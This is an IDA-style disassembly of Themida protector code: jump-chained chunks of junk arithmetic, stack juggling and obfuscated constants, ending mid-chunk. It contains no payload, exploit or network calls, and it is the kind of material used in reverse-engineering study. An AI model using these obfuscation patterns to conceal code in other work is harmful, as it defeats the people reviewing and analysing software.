; START OF FUNCTION CHUNK FOR sub_585452
loc_58EAAF: ; CODE XREF: sub_585452+5945j
shl ah, 3
xor ah, 52h
sub dh, ah
pop eax
shl dh, 6
sub dh, 8Eh
add dh, 1
add dh, 48h
add bl, 79h
add bl, dh
sub bl, 79h
pop edx
pop eax
jmp loc_5877B0
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58EAD3: ; CODE XREF: Themida_:00588326j
xchg ebx, [esp]
mov esp, [esp]
add esp, 4
push dword ptr [esp]
jmp loc_58F996
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D28B
loc_58EAE4: ; CODE XREF: sub_58D28B-8F4Ej
mov esp, [esp-8+arg_4]
push edi
sub esp, 4
mov [esp+0], esp
jmp loc_58A395
; END OF FUNCTION CHUNK FOR sub_58D28B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58EAF6: ; CODE XREF: sub_585452+4510j
pop eax
mov ch, 65h
add ch, dh
mov edx, [esp+0Eh+var_10+2]
add esp, 4
shl ch, 5
neg ch
dec ch
add ch, 27h
jmp loc_584641
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58EB10: ; CODE XREF: Themida_:0058C4ACj
push esp
pop edx
add edx, 4
jmp loc_58B43F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58EB1D: ; CODE XREF: sub_585452+A501j
and edx, 0C9979AEh
push ebp
mov ebp, 3FAD08EEh
sub ebp, 3AED19A5h
jmp loc_58CBE6
; ---------------------------------------------------------------------------
loc_58EB34: ; CODE XREF: sub_585452+A8D8j
add esp, 4
xor ebx, eax
jmp loc_584F41
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58EB41: ; CODE XREF: sub_58EFBD-3660j
sub ebx, 435A3D4Bh
add ebx, edi
push ebp
mov ebp, 167A71E6h
and ebp, 3B303367h
add ebp, 312A0BE5h
add ebx, ebp
pop ebp
jmp loc_58F0B4
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
loc_58EB63: ; CODE XREF: Themida_:0058F7EEj
sub [esp], bp
pop bp
add bp, 0D9Fh
inc bp
add bp, 0B93Fh
add ax, bp
push dword ptr [esp]
pop ebp
add esp, 4
push ebp
jmp loc_58E601
; ---------------------------------------------------------------------------
loc_58EB88: ; CODE XREF: Themida_:0058C9B3j
add esi, 4
jmp loc_58D6D3
; ---------------------------------------------------------------------------
loc_58EB93: ; CODE XREF: Themida_:00584865j
pop esp
movzx ecx, ax
push 285h
mov [esp], ecx
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_58EBA4: ; CODE XREF: Themida_:0058987Bj
mov dx, [esp]
add esp, 2
sub al, bl
sub esp, 4
mov [esp], ebx
jmp loc_58790A
; ---------------------------------------------------------------------------
loc_58EBBE: ; CODE XREF: Themida_:00587CD3j
push 15BB150Ch
pop ecx
inc ecx
shl ecx, 7
add ecx, 70728BD1h
mov edi, ecx
mov ecx, [esp]
add esp, 4
add edi, 0B32FFE16h
sub eax, edi
pop edi
push ecx
jmp loc_5880C8
; ---------------------------------------------------------------------------
loc_58EBE8: ; CODE XREF: Themida_:005875BDj
sub esi, 65EDFFF6h
jmp loc_589750
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebp
push 3430h
mov [esp], esp
add dword ptr [esp], 4
mov ebp, [esp]
add esp, 4
add ebp, 4
push esi
mov esi, 2
jmp loc_58952F
; ---------------------------------------------------------------------------
loc_58EC1E: ; CODE XREF: Themida_:0058AD6Dj
inc cx
jmp loc_58789F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58EC25: ; CODE XREF: sub_585452+4D6j
shr ebp, 6
push edi
mov edi, 0A701F9h
jmp loc_58D94C
; ---------------------------------------------------------------------------
loc_58EC33: ; CODE XREF: sub_585452+67F7j
pop edi
mov eax, 36123AE9h
add eax, edi
jmp loc_587FB1
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_586ED2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58EC48: ; CODE XREF: sub_585452+8000j
pop ebp
push edi
mov edi, esi
mov ecx, edi
jmp loc_5849ED
; ---------------------------------------------------------------------------
loc_58EC53: ; CODE XREF: sub_585452+53Fj
pop ebp
add eax, 4
jmp loc_58CFE1
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58EC5C: ; CODE XREF: Themida_:0058AC0Fj
shr eax, 7
or eax, 6BE04427h
sub eax, 6BF9467Bh
add esi, 54F458BDh
sub esi, eax
sub esi, 54F458BDh
pop eax
xchg esi, [esp]
pop esp
mov [esp], ebx
mov ebx, 1Ch
sub ebx, 6C013BABh
sub ebx, 469C3E33h
add ebx, edi
push eax
mov eax, 469C3E33h
add ebx, eax
pop eax
add ebx, 6C013BABh
mov eax, [ebx]
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
push edx
push eax
mov eax, 1
push eax
sub dword ptr [esp], 280D07C2h
mov edx, [esp]
add esp, 4
add edx, 280D07C2h
push dword ptr [esp]
pop eax
add esp, 4
and eax, edx
jmp loc_586BCB
; ---------------------------------------------------------------------------
loc_58ECDB: ; CODE XREF: Themida_:0058D43Fj
push ebx
push eax
jmp loc_58DBD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B758
loc_58ECE2: ; CODE XREF: sub_58B758-48DDj
push edi
jmp loc_587034
; END OF FUNCTION CHUNK FOR sub_58B758
; ---------------------------------------------------------------------------
loc_58ECE8: ; CODE XREF: Themida_:0058C839j
mov edx, ecx
pop ecx
mov ebp, 6FFFF2ABh
xor ebp, edx
mov edx, [esp]
push edi
mov edi, esp
add edi, 4
jmp loc_58DD06
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58CABE
loc_58ED03: ; CODE XREF: sub_58CABE+CA6j
mov eax, [esp+0]
add esp, 4
neg edi
xor edi, 4ADA14B1h
xor edi, 0A4D4E09Fh
xor eax, edi
pop edi
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_58CABE
; ---------------------------------------------------------------------------
loc_58ED1F: ; CODE XREF: Themida_:0058BDDEj
mov esi, [esp]
add esp, 4
push ebx
mov ebx, 4
add edx, 1CB34B1Eh
add edx, ebx
sub edx, 1CB34B1Eh
pop ebx
xchg edx, [esp]
jmp loc_589814
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C230
loc_58ED45: ; CODE XREF: sub_58C230-C81j
add [esp+4], esi
pop esi
push dword ptr [esp+0]
mov esi, [esp-0Ch+arg_8]
add esp, 4
add esp, 4
push ecx
push 31D5h
mov [esp-0Ch+arg_8], ebx
jmp loc_5898BE
; END OF FUNCTION CHUNK FOR sub_58C230
; ---------------------------------------------------------------------------
loc_58ED64: ; CODE XREF: Themida_:005897B2j
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
mov ax, [esp]
jmp loc_58D7E6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58ED76: ; CODE XREF: sub_585452+511Aj
add bl, al
sub bl, 0DFh
sub bl, 4Ch
movzx eax, al
mov dx, word ptr [esp-18h+arg_12+2]
push 0ACCh
jmp loc_58BDB0
; ---------------------------------------------------------------------------
loc_58ED8F: ; CODE XREF: sub_585452+7AABj
add bl, al
add bl, 0B0h
pop eax
sub bl, 1Ch
push esi
mov esi, esp
add esi, 4
push 61ACh
mov [esp+0], edi
jmp loc_589C1F
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58CA39
loc_58EDAE: ; CODE XREF: sub_58CA39-416j
xchg edi, [esp+0]
pop esp
mov [esp-4+arg_0], edi
mov edi, esp
jmp loc_58F123
; END OF FUNCTION CHUNK FOR sub_58CA39
; ---------------------------------------------------------------------------
loc_58EDBC: ; CODE XREF: Themida_:0058B89Fj
mov dh, ch
jmp loc_58E367
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58EDC3: ; CODE XREF: sub_585452+A328j
mov edx, [esp+0]
add esp, 4
jmp loc_58BF06
; END OF FUNCTION CHUNK FOR sub_585452
; =============== S U B R O U T I N E =======================================
sub_58EDD1 proc near ; CODE XREF: sub_585452+8939j
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0058C8AE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058DFA7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058FA38 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058FD2F SIZE 00000016 BYTES
push ebx
mov bl, 49h
or bl, 94h
shl bl, 7
jmp loc_58FA38
sub_58EDD1 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebx
mov ebx, esp
push edi
mov edi, 4
push edx
mov edx, 22A50B32h
or edx, 43A03051h
xor edx, 2D447A63h
sub edx, 6C110E79h
jmp loc_585E67
; ---------------------------------------------------------------------------
loc_58EE09: ; CODE XREF: Themida_:0058D24Cj
xor edi, 77FFFB85h
add ebx, 3FD13E00h
add ebx, edi
sub ebx, 3FD13E00h
pop edi
jmp loc_588A45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58EE23: ; CODE XREF: sub_585452-1411j
xchg ecx, [esp+0Ch+var_C]
pop esp
push esi
mov esi, 186377F7h
jmp loc_5853A1
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58EE32: ; CODE XREF: Themida_:00589D43j
add ebx, 2DB3E3E1h
sub eax, ebx
pop ebx
push ebp
mov ebp, 13031492h
push ecx
mov ecx, 0CEE40941h
sub ebp, ecx
pop ecx
add eax, 1C1B205Ch
add eax, ebp
push edi
mov edi, 1C1B205Ch
sub eax, edi
pop edi
pop ebp
jmp loc_58B17C
; ---------------------------------------------------------------------------
loc_58EE60: ; CODE XREF: Themida_:0058945Bj
shl ebx, 3
jmp loc_58C3B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58EE68: ; CODE XREF: sub_585452+8382j
mov [esp+6+var_8+2], ebx
sub esp, 4
mov [esp+0Ah+var_C+2], ecx
mov ecx, 74E4ED7h
add ecx, 0FFFFFFFFh
jmp loc_58CD88
; ---------------------------------------------------------------------------
loc_58EE84: ; CODE XREF: sub_585452+48F8j
push edi
not [esp+12h+var_14+2]
jmp loc_5877A8
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58999B
loc_58EE8D: ; CODE XREF: sub_58999B-4B1Ej
mov dh, 0FEh
add dh, 2Fh
jmp loc_587A13
; END OF FUNCTION CHUNK FOR sub_58999B
; ---------------------------------------------------------------------------
loc_58EE97: ; CODE XREF: Themida_:0058F8D1j
sub eax, 210C638Bh
add eax, esi
push edi
push esi
mov esi, 6C30634Fh
dec esi
jmp loc_589EB2
; ---------------------------------------------------------------------------
loc_58EEAB: ; CODE XREF: Themida_:0058B714j
not edi
xor edi, 76A68EEh
mov ebp, edi
jmp loc_5898C8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58EEBA: ; CODE XREF: sub_585452+2602j
pop esp
shr word ptr [esp+0], cl
pushf
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589967
loc_58EEC5: ; CODE XREF: sub_589967+4182j
add eax, 2BFC0E3Dh
pop esi
xchg eax, [esp+0]
jmp loc_58E830
; END OF FUNCTION CHUNK FOR sub_589967
; ---------------------------------------------------------------------------
loc_58EED3: ; CODE XREF: Themida_:0058A101j
sub ebp, eax
sub ebp, 64780510h
sub ebp, 620520DEh
pop eax
xchg ebp, [esp]
jmp loc_58BB71
; ---------------------------------------------------------------------------
loc_58EEEA: ; CODE XREF: Themida_:00588EF7j
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_587EDB
; ---------------------------------------------------------------------------
mov eax, [esp]
sub esp, 4
mov [esp], esi
push esp
pop esi
jmp loc_58916C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58EF15: ; CODE XREF: sub_585452+7BEj
push edx
mov edx, esp
add edx, 4
push esi
mov esi, 4
add edx, esi
pop esi
xchg edx, [esp-4+arg_0]
pop esp
xchg ebx, [esp-8+arg_4]
pop esp
jmp loc_58A800
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58EF34: ; CODE XREF: Themida_:0058D076j
push dword ptr [esp]
pop eax
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_58485E
; ---------------------------------------------------------------------------
push ebx
jmp loc_58C90D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589967
loc_58EF52: ; CODE XREF: sub_589967-3298j
or edx, eax
shl edx, 1
push ecx
jmp loc_58EF6D
; END OF FUNCTION CHUNK FOR sub_589967
; ---------------------------------------------------------------------------
loc_58EF5C: ; CODE XREF: Themida_:0058BC37j
push ebx
push esi
mov esi, 6B921ABEh
push 6B921ABAh
jmp loc_5844EF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589967
loc_58EF6D: ; CODE XREF: sub_589967+55F0j
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+0]
pop esp
mov [esp+0], ebp
push edx
mov edx, 59BE0CFFh
push edi
jmp loc_584A8E
; END OF FUNCTION CHUNK FOR sub_589967
; =============== S U B R O U T I N E =======================================
sub_58EF8B proc near ; CODE XREF: sub_585452-43Ej
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], edx
push ecx
mov cl, ah
mov dh, cl
jmp loc_58561E
sub_58EF8B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58EF9E: ; CODE XREF: sub_585452+6597j
sub eax, 3F2829A0h
xor eax, 6DB224ABh
neg eax
or eax, 4EF06566h
jmp loc_58CE4D
; ---------------------------------------------------------------------------
loc_58EFB4: ; CODE XREF: sub_585452+41F9j
push [esp+arg_0]
pop edi
pop dword ptr [esp+0]
pop esp
; END OF FUNCTION CHUNK FOR sub_585452
; =============== S U B R O U T I N E =======================================
sub_58EFBD proc near ; CODE XREF: sub_58E234-444Aj
; sub_585452+7EAEj
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 00583FFB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00584568 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00584882 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00584B38 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00584B9A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00584F0C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00584F49 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005864D5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005868AB SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00586F22 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00587145 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058729A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005874D7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058757A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00587828 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0058788A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00587F43 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005881BC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005881E0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005882AD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00588311 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005884FB SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005885A2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00588771 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058881C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058886D SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005888A9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00588B7A SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00588F1B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00589441 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005895BC SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00589745 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00589F8D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058A280 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058A382 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058A758 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0058A89C SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058AF1F SIZE 00000053 BYTES
; FUNCTION CHUNK AT 0058B260 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058B94E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058BC80 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058BD3B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058BF3C SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0058BFAC SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0058C365 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058C5D1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058C805 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058CBDC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058CC00 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0058CE7C SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0058CFA6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058DB71 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058DC47 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058DD90 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058DF05 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058DFF0 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058E43A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058E589 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0058E9D8 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0058EB41 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0058F054 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058F0B4 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0058F6CF SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0058F71E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058FE90 SIZE 00000012 BYTES
sub esp, 4
mov [esp-8+arg_4], ebx
mov eax, [esp-8+arg_4]
sub esp, 4
mov [esp-4+arg_0], eax
jmp loc_58B260
sub_58EFBD endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_58EFD4: ; CODE XREF: Themida_:00586F6Fj
add edi, edx
sub edi, 61F35348h
add edi, 9DF0EEDh
pop edx
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_58BAC8
; ---------------------------------------------------------------------------
loc_58EFF1: ; CODE XREF: Themida_:0058D412j
xor ecx, edx
push dword ptr [esp]
pop edx
add esp, 4
push 70EDh
mov [esp], edi
sub esp, 4
mov [esp], ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xor ebp, [esp]
jmp loc_587F73
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], ax
pushf
jmp loc_58CB0F
; ---------------------------------------------------------------------------
loc_58F034: ; CODE XREF: Themida_:0058D6DFj
mov esi, esp
add esi, 4
jmp loc_583F90
; ---------------------------------------------------------------------------
lodsd
push 0BF5h
mov [esp], ebx
mov ebx, 6A6A41F6h
jmp loc_5889CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58F054: ; CODE XREF: sub_58EFBD-1226j
pop ebp
jmp loc_58729A
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
loc_58F05A: ; CODE XREF: Themida_:0058B9A5j
xor eax, ebp
push dword ptr [esp]
jmp loc_58BCC6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58F064: ; CODE XREF: sub_585452+267Fj
and eax, esi
pop esi
jmp loc_58A99E
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58F06C: ; CODE XREF: Themida_:00586C42j
add esi, 1
xchg esi, ebx
push edi
mov edi, 5C5716A2h
jmp loc_58B0A5
; ---------------------------------------------------------------------------
loc_58F07C: ; CODE XREF: Themida_:0058B7D8j
push ecx
jmp loc_58AD0B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58999B
loc_58F082: ; CODE XREF: sub_58999B+4j
sub al, bh
pop bx
jmp loc_589BE8
; END OF FUNCTION CHUNK FOR sub_58999B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58405E
loc_58F08B: ; CODE XREF: sub_58405E+FE4j
sub eax, 35CA1F92h
shr eax, 7
shr eax, 6
jmp loc_588133
; END OF FUNCTION CHUNK FOR sub_58405E
; ---------------------------------------------------------------------------
loc_58F09B: ; CODE XREF: Themida_:00583CB2j
and si, 74CDh
jmp loc_58C060
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push edi
jmp loc_58866B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58F0B4: ; CODE XREF: sub_58EFBD-45Fj
push 3646h
mov [esp-8+arg_4], edx
mov edx, 0
add edx, ebx
push ecx
mov ecx, 0
push esi
mov esi, 4C44859h
sub ecx, esi
pop esi
push edx
mov edx, 34846A91h
add ecx, edx
pop edx
add ecx, edx
sub ecx, 34846A91h
jmp loc_58886D
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
loc_58F0E8: ; CODE XREF: Themida_:0058DF6Bj
push esi
mov esi, 2CDF3778h
add esi, 0D4FF56Eh
jmp loc_585E51
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589967
loc_58F0F9: ; CODE XREF: sub_589967-2AE4j
push dword ptr [esp+0]
mov eax, [esp+0]
push 565Eh
mov [esp+0], ebx
mov ebx, esp
add ebx, 4
push esi
mov esi, 4
jmp loc_583EC7
; END OF FUNCTION CHUNK FOR sub_589967
; ---------------------------------------------------------------------------
loc_58F11A: ; CODE XREF: Themida_:0058C9D8j
or ecx, edi
pop edi
inc ecx
jmp loc_58F5A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58CA39
loc_58F123: ; CODE XREF: sub_58CA39+237Ej
push ecx
mov ecx, 4
add edi, ecx
pop ecx
sub esp, 4
mov [esp+0], eax
push ecx
push 68F75823h
pop ecx
add ecx, 79516917h
shl ecx, 4
add ecx, 0DB73EC64h
mov eax, ecx
pop ecx
sub edi, eax
pop eax
xchg edi, [esp-4+arg_0]
pop esp
mov [esp+0], ebx
mov ebx, 0
sub ebx, 2E405031h
jmp loc_58FB12
; END OF FUNCTION CHUNK FOR sub_58CA39
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58F165: ; CODE XREF: sub_585452+44F6j
inc edi
sub edi, 2C4A3C48h
add edi, 6DFB1A48h
xor edi, 8F4C340Fh
add ebx, edi
pop edi
push eax
mov eax, 1A68ADh
jmp loc_587B1E
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58F186: ; CODE XREF: Themida_:00588E9Dj
push ebx
push ecx
jmp loc_585C66
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58F18D: ; CODE XREF: sub_585452+80EAj
mov bl, 7Eh
neg bl
xchg dl, bl
neg dl
xchg dl, bl
shr bl, 3
dec bl
jmp loc_58F24C
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58F1A1: ; CODE XREF: Themida_:00583F3Bj
mov ch, 0EAh
mov bl, ch
pop cx
add al, bl
pop ebx
sub al, cl
jmp loc_58FA0B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58405E
loc_58F1B1: ; CODE XREF: sub_58405E+5D57j
pop ebx
add eax, edi
sub eax, 479C021Dh
pop edi
xor ebx, eax
sub esp, 4
mov [esp+0], eax
sub esp, 4
jmp loc_58C5D8
; END OF FUNCTION CHUNK FOR sub_58405E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58F1CD: ; CODE XREF: sub_585452+764Bj
mov dh, 1
shr dh, 6
and dh, 24h
shr dh, 6
inc dh
sub dh, 0ECh
xor dh, 0F4h
mov ah, dh
mov edx, [esp+42h+var_44+2]
jmp loc_5841A4
; ---------------------------------------------------------------------------
loc_58F1EA: ; CODE XREF: sub_585452+3614j
pop edx
jmp loc_588FB2
; ---------------------------------------------------------------------------
loc_58F1F0: ; CODE XREF: sub_585452+501Ej
xor eax, ebx
pop ebx
push ebx
mov ebx, 3D674D35h
push 4C68h
mov [esp+12h+var_14+2], eax
mov eax, 2BD19BDh
jmp loc_58623F
; ---------------------------------------------------------------------------
loc_58F20B: ; CODE XREF: sub_585452+12A4j
add ecx, 6589CBC3h
dec ecx
add ecx, 89F71A10h
add edx, ecx
jmp loc_588460
; ---------------------------------------------------------------------------
loc_58F21F: ; CODE XREF: sub_585452+76E9j
mov [esp-2Eh+arg_28+2], eax
jmp loc_58B8FC
; ---------------------------------------------------------------------------
loc_58F227: ; CODE XREF: sub_585452+481Ej
mov edx, 5843215h
add edi, edx
pop edx
shr edi, 4
jmp loc_58A593
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58F237: ; CODE XREF: Themida_:00589BD7j
xchg ecx, [esp]
jmp loc_5843A6
; ---------------------------------------------------------------------------
loc_58F23F: ; CODE XREF: Themida_:0058815Bj
push ebp
mov ebp, esp
jmp loc_58D216
; ---------------------------------------------------------------------------
loc_58F247: ; CODE XREF: Themida_:0058E99Ej
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58F24C: ; CODE XREF: sub_585452+9D4Aj
add bl, 81h
jmp loc_58B53E
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58F254: ; CODE XREF: Themida_:00587607j
push dword ptr [esp]
jmp loc_5849B8
; ---------------------------------------------------------------------------
loc_58F25C: ; CODE XREF: Themida_:00584DFEj
sub eax, 4
xchg eax, [esp]
jmp loc_58A2AA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58F267: ; CODE XREF: sub_585452+29D2j
and ecx, esi
jmp loc_58C789
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58F26E: ; CODE XREF: Themida_:0058F65Cj
xor edx, 3C80FE1h
mov ebx, edx
pop edx
xchg edi, ebx
jmp loc_58A58D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F3BC
loc_58F27E: ; CODE XREF: sub_58F3BC-5903j
mov [esp+0], ebx
jmp loc_589223
; END OF FUNCTION CHUNK FOR sub_58F3BC
; ---------------------------------------------------------------------------
loc_58F286: ; CODE XREF: Themida_:00584FDAj
sub bl, 52h
movzx eax, al
push dword ptr [edi+eax*4]
jmp loc_586DE7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58F294: ; CODE XREF: sub_585452+116Fj
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_58F299: ; CODE XREF: sub_585452+30A4j
add ecx, edx
sub ecx, 49BC24D5h
jmp loc_58CA02
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C230
loc_58F2A6: ; CODE XREF: sub_58C230+12FDj
add edi, 4
push eax
mov eax, 4
add edi, eax
jmp loc_584BE8
; END OF FUNCTION CHUNK FOR sub_58C230
; ---------------------------------------------------------------------------
loc_58F2B9: ; CODE XREF: Themida_:00584B81j
pop eax
push ecx
mov ecx, 7BFA4B97h
inc ecx
or ecx, 30C366DDh
shr ecx, 5
sub ecx, 6D627994h
sub ecx, 5FF460E5h
and eax, ecx
jmp loc_588CC5
; ---------------------------------------------------------------------------
mov ax, [esp]
push 59C2h
mov [esp], ebx
push 5B8h
mov [esp], esp
push ecx
mov ecx, 4
jmp loc_5862EE
; ---------------------------------------------------------------------------
loc_58F2FC: ; CODE XREF: Themida_:0058FD06j
xchg ecx, [esp]
jmp loc_58C97F
; ---------------------------------------------------------------------------
loc_58F304: ; CODE XREF: Themida_:0058E869j
neg edi
xor edi, 0A01AE222h
add ebp, edi
pop edi
xchg ebp, [esp]
mov esp, [esp]
and [esp], eax
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
